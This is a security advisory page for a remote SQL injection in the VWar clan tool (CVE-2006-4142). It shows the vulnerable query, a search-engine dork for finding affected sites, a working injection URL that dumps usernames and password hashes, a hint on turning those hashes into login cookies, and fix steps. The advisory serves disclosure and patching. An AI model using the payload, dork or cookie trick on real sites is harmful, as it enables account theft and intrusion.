SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

VWar <= 1.50 R14 (n) Remote SQL Injection


Arrow  SecurityAlert : 1384
Arrow  CVE : CVE-2006-4142
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : brOmstar
Arrow  Published : 16.08.2006

Arrow  Affected Software : VWar <= 1.50 R14



Arrow  Advisory Content :  


.:[ insecurity research team ]:.

.__..____.:.______.____.:.____ .

.:. | |/ :/ ___// __ :/ _.:.

: | | | \____\ ___/ /__ :. .

..: |__|___| /____ >___ >___ >.:

.:.. .. ./ .:/:. ./. .:/:

. ...:. .advisory. .:...

:..................: 1o.o8.2oo6 ..

Affected Application: VWar <= v1.50 R14

. . :[ contact ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .

Discoverd by: brOmstar

Team: Insecurity Research Team

URL: http://www.insecurityresearch.org

E-Mail: brom0815 (at) gmx (dot) de [email concealed]

. . :[ insecure application details ]: . . . . . . . . . . . . . . . . .

Typ: Remote [x] Local [ ]

Remote File Inclusion [ ] SQL Injection [x]

Level: Low [ ] Middle [ ] High [x]

Application: VWar

Version: <= v1.50 R14

Vulnerable File: extra/online.php

Vulnerable Variable: n

URL: http://www.vwar.de

Description: Virtual War is a tool for gaming clans.

Dork: intext:"Powered by: Virtual War v1.5.0"

. . :[ code snippet ]: . . . . . . . . . . . . . . . . . . . . . . . . .

line 63: $query = $vwardb->query("

line 64: SELECT memberid, name, lastactivity

line 65: FROM vwar".$n."_member WHERE lastactivity > ".(time() -

$onlinetime * 60)."

line 66: ");

. . :[ exploit ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .

example: if you want a list of userid/username/password's try this:

http://[vwarpath]/demo/extra/online.php?n=_member%20WHERE%20memberid=-99
9%20UNION%20SELECT%200,CONCAT(memberid,0x3A,name,0x3A,password),2%20FROM
%20vwar_membe

r%20%20/*

encrypt the md5-password again with md5 and throw it in a cookie... :-)

. . :[ how to fix ]: . . . . . . . . . . . . . . . . . . . . . . . . . .

o1.) open extra/online.php

o2.) take a look at the following lines:

41: if( !defined ("VWAR_COMMON_INCLUDED") )

42: {

43: $vwar_root = $vwar_xroot;

44: require_once ( $vwar_root . "includes/functions_common.php" );

45: }

o3.) add between line 44 and 45 this:

require_once ( $vwar_root . "includes/_config.inc.php" );

o4.) done!

. . :[ greets ]: . . . . . . . . . . . . . . . . . . . . . . . . . . . .

buzzdee, camino and my lovely, sexy girlfriend!





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.